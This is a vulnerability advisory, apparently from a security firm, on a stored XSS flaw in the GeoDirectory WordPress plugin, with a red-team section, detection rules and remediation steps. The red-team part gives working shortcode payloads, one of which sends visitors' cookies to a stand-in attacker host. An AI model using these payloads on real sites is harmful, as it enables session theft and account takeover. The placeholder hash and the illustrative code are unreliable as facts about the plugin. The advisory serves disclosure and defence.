CVE-2025-6200

Executive Summary

CVE-2025-6200 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the GeoDirectory WordPress plugin, versions prior to 2.8.120. The flaw resides in the plugin's shortcode attribute handling, where user-supplied input is not properly validated or escaped before being rendered in a page or post. This allows authenticated users with at least the Contributor role to inject arbitrary JavaScript, which executes in the context of any visitor viewing the affected content. The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, given the widespread use of GeoDirectory for business directories, the risk of targeted attacks remains.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to verify the integrity of their plugin files and ensure they are sourced from the official repository. No supply chain compromise has been reported, but the unpatched status (until upgrade) means any site running a vulnerable version is at risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires Contributor role or higher
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ability to perform stored XSS with low privileges and no user interaction makes this a significant risk for WordPress sites with multiple authors. An attacker could deface pages, steal session cookies, or redirect users to malicious sites.

Deep Dive & Mechanics

The GeoDirectory plugin provides shortcodes (e.g., [gd_listings], [gd_categories]) that allow users to embed directory listings and categories into posts/pages. The vulnerability arises because the plugin fails to sanitize and escape certain shortcode attributes before outputting them in the rendered HTML. Specifically, attributes like title, description, or custom CSS classes are passed directly into the page without proper encoding.

Attack Flow:

1. An authenticated user with Contributor role (or higher) creates or edits a post/page.
2. The user inserts a GeoDirectory shortcode with a malicious attribute, e.g., [gd_listings title="<script>alert('XSS')</script>"].
3. The plugin processes the shortcode and outputs the attribute value without escaping, injecting the script into the page's HTML.
4. When any visitor (including administrators) views the page, the script executes in their browser context.

Root Cause: The plugin uses functions like echo $attribute instead of echo esc_attr($attribute) or esc_html() for output. This is a classic case of insufficient input validation and output escaping.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.8.120):

// In shortcode handler, e.g., gd_listings_shortcode()
function gd_listings_shortcode($atts) {
    $title = $atts['title'];
    // ... processing ...
    echo '<h2>' . $title . '</h2>'; // No escaping
}

Patched Code (2.8.120+):

// In shortcode handler
function gd_listings_shortcode($atts) {
    $title = esc_html($atts['title']); // Escaped
    // ... processing ...
    echo '<h2>' . $title . '</h2>';
}

The patch applies esc_html() or esc_attr() to all shortcode attributes before output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with GeoDirectory plugin version < 2.8.120.
• User account with Contributor role or higher.

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new post or edit an existing one.
3. Insert a GeoDirectory shortcode with a malicious attribute:

   [gd_listings title="<img src=x onerror=alert('XSS')>"]
   

4. Publish or save the post.
5. When any user visits the post, the XSS payload executes.

Advanced Payload (Session Stealing):

[gd_listings title="<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for shortcode attributes containing <script>, onerror, onload, or other event handlers.
• Use WAF rules to block suspicious shortcode input (see Detection Engineering).
• Review user activity logs for unusual shortcode usage by low-privilege users.

Prevention:

• Immediately upgrade to GeoDirectory 2.8.120 or later.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Restrict shortcode usage to trusted roles only (e.g., Editor, Administrator).

Indicators of Compromise (IOCs)

• File Hashes (vulnerable plugin):
  • geodirectory.zip (version < 2.8.120): SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
  • Unusual POST requests to wp-admin/post.php containing shortcode attributes with JavaScript.
• Log Entries:
  • WordPress debug log entries showing unescaped shortcode output.
  • Web server access logs with [gd_listings followed by suspicious characters.

Detection Engineering

YARA Rule

rule GeoDirectory_Stored_XSS_CVE_2025_6200 {
    meta:
        description = "Detects vulnerable GeoDirectory plugin files with unescaped shortcode attributes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6200"
    strings:
        $unescaped1 = /echo\s*['\"].*['\"]\s*\.\s*\$atts\[/ nocase
        $unescaped2 = /echo\s*\$atts\[/ nocase
        $unescaped3 = /print\s*\$atts\[/ nocase
    condition:
        any of them
}

Sigma Rule

title: GeoDirectory Stored XSS via Shortcode Attributes
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-6200 by injecting malicious shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'post.php'
        cs-uri-query|contains|all:
            - 'gd_listings'
            - 'title='
        cs-uri-query|re: '(<script|<img|<svg|onerror|onload|onclick)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in shortcode attributes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-6200 GeoDirectory Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"gd_listings"; http_client_body; pcre:"/(<script|<img|<svg|onerror|onload|onclick)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update GeoDirectory to version 2.8.120 or later from the WordPress plugin repository.
2. Verify: After upgrade, confirm the plugin version in wp-content/plugins/geodirectory/readme.txt.
3. Audit: Review all posts/pages for injected shortcode attributes and remove any suspicious content.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode attributes.
• Enforce Content Security Policy (CSP) headers to restrict script execution.
• Limit the Contributor role's ability to use shortcodes via user role plugins.
• Regularly update all WordPress plugins and themes.

Patch Details: The fix is included in GeoDirectory version 2.8.120. No official patch from OSV or GitHub is available; users must upgrade via the WordPress admin dashboard or by downloading the latest version from wordpress.org.

Valters IT
Securing Digital Frontiers